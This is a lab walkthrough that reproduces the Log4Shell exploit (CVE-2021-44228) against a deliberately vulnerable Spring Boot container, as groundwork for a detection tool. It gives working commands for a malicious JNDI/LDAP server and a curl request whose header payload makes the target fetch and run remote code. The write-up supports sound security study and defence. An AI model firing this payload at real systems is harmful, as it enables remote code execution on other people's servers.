Log4Shell

CVE-2021-44228

The repo (https://github.com/christophetd/log4shell-vulnerable-app) contains a Spring Boot web application which is vulnerable to the Log4Shell exploit, we will refer to this application (as well as the JNDI server) as our baseline. In order to boot this vulnerable instance, the following dependencies will be needed:

Spring Boot (Docker):

Dockerfile
- Log4j 2.14.1
- JDK 1.8.0_181

Malicious LDAP server:

This server will essentially receive LDAP requests triggered by the JNDI lookup in Spring Boot (Log4j) and promptly respond. The response is a second-stage payload that actually leads to RCE, since any type of action can be compiled as a (malicious) java class. JNDI lookups are triggered by the Log4j logger when it detects an explicit JNDI lookup command when logging occurs (${jndi:). Note that the type of transport protocol may vary (LDAP, RMI, ..). But what is JNDI? JNDI is essentially a service that provides naming and directory functionalities for Java applications that uses a simple API-like syntax. It allows Java applications to reference remote objects by using the 'lookup' procedure.

JNDI exploit server (baseline): JNDIExploit
Other JNDI exploits will also be explored soon.

Explotation Steps:

The figure bellow showcases the steps needed to reproduce the Log4Shell exploit. Note that in the figure we didn't specify how the information was being logged in the logger. For our baseline scenario, logging occurs from the HTTP header field X-Api-Version. After booting both instances, sending a JNDI lookup payload to Spring Boot will trigger the steps displayed bellow, resulting in RCE.

Spring Boot (Log4j) Instance:

docker run --name vulnerable-app --rm -p 8080:8080 ghcr.io/christophetd/log4shell-vulnerable-app@sha256:6f88430688108e512f7405ac3c73d47f5c370780b94182854ea2cddc6bd59929

JNDI Server:

java -jar JNDIExploit-1.2-SNAPSHOT.jar -i your-private-ip -p 8888

Curl log:

curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://your-private-ip:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}'

Verify code execution:

docker exec vulnerable-app ls /tmp

Since this is an introductory example, it might be beneficial to use Wireshark in tandem for better visibility. In the following page we will explain how to setup eLogJ and how to configure it to block or simply detect different steps of the Log4Shell exploit.